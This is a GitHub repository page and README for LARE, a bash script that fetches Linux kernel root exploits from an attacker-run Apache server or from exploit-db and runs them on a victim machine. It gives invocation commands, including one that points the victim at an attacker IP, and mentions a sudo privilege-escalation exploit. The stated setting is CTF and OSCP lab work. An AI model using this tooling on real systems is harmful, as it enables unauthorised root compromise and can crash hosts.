Skip to content
[L]ocal [A]uto [R]oot [E]xploiter is a simple bash script that helps you deploy local root exploits from your attacking machine when your victim machine do not have internet connectivity.
Branch: master
Clone or download
Praveen Nair
Praveen Nair Added support to the exploit 42183
Added support to Sudo - 'get_process_ttyname()' Privilege Escalation exploit.
https://www.exploit-db.com/exploits/42183/
Latest commit eac974e Jun 16, 2017
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
LARA.sh
README.md Create README.md Jun 15, 2017

README.md

LARE

[L]ocal [A]uto [R]oot [E]xploiter is a simple bash script that helps you deploy local root exploits from your attacking machine when your victim machine do not have internet connectivity.

The script is useful in a scenario where your victim machine do not have an internet connection (eg.) while you pivot into internal networks or playing CTFs which uses VPN to connect to there closed labs (eg.) hackthebox.gr or even in OSCP labs. The script uses Local root exploits for Linux Kernel 2.6-4.8

This script is inspired by Nilotpal Biswas's Auto Root Exploit Tool

Usage:

1- Attacking Victimin Closed Network

You have to first set the exploit arsenal on the attacking machine and start the apache2 instatnce using the following command. bash LARE.sh -a or ./LARE.sh -a

Once done with it, You have to copy the script to the victim machine via any means (wget, ftp, curl etc). and run the Exploiter locally with the following command: bash LARE.sh -l [Attackers-IP] or ./LARE.sh -l [Attackers-IP]

2- Attacking Victim with Internet Acess

In this scenario the script is to be ran on the victims machine and it will get the exploits from the exploit-db's github repository and use it for exploitation directly. This is the original fuctionality of Auto Root Exploit Tool with some fine tunning done. Run the Exploiter with the following command: bash LARE.sh -l or ./LARE.sh -l

Note

The script runs multiple kernal exploits on the machine which can result in unstability of the system, it is highly recommended to uses it as the last resort and in a non-production environment.

You can’t perform that action at this time.